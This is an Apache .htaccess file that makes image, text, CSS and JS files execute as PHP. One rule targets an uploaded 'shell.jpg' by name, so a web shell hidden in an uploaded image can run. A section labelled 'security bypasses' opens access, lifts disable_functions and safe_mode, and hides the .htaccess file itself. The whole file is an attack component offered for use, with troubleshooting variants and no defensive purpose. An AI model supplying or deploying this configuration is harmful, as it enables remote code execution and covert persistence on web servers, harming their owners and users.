# ============================================
# HTACCESS FILE FOR ENABLING PHP EXECUTION
# ============================================

# OPTION 1: Make HTML files execute as PHP
# This tells Apache to parse .html and .htm files as PHP
AddHandler application/x-httpd-php .html .htm

# OPTION 2: Make specific file extensions execute as PHP
# This adds PHP parsing to images and other file types
AddType application/x-httpd-php .php .jpg .jpeg .png .gif .bmp .txt .css .js

# OPTION 3: Target specific files (like an uploaded image with PHP code)
# Replace "shell.jpg" with your actual filename
<FilesMatch "shell\.jpg$">
    SetHandler application/x-httpd-php
</FilesMatch>

# OPTION 4: Alternative handler for newer PHP versions
# Try this if the above doesn't work (adjust PHP version as needed)
# AddHandler application/x-httpd-php82 .html .jpg .png

# OPTION 5: Legacy CGI method (older servers)
# AddHandler fcgid-script .php
# AddHandler cgi-script .php

# OPTION 6: Force PHP parsing on any file with "php" in the name
<FilesMatch ".*php.*">
    SetHandler application/x-httpd-php
</FilesMatch>

# OPTION 7: Make all files in this directory execute as PHP
# WARNING: This is extremely dangerous!
# <Files *>
#     SetHandler application/x-httpd-php
# </Files>

# ============================================
# ADDITIONAL SECURITY BYPASSES (Optional)
# ============================================

# Disable access restrictions (if any)
Satisfy Any
Allow from all

# Turn off PHP safe mode restrictions (if applicable)
php_flag safe_mode off
php_value disable_functions none

# Increase execution limits for large scripts
php_value max_execution_time 300
php_value memory_limit 256M

# Hide that we're using .htaccess (optional)
RewriteEngine On
RewriteRule .htaccess - [F,L]

# ============================================
# TROUBLESHOOTING: If nothing works
# ============================================
# Sometimes PHP uses different handlers. Try these alternatives:

# Alternative handler #1
# AddHandler php-script .html .jpg

# Alternative handler #2
# AddHandler x-httpd-php .html .jpg

# Alternative handler #3 (for PHP-FPM)
# <FilesMatch "\.(jpg|png|html)$">
#     SetHandler "proxy:unix:/var/run/php/php8.2-fpm.sock|fcgi://localhost/"
# </FilesMatch>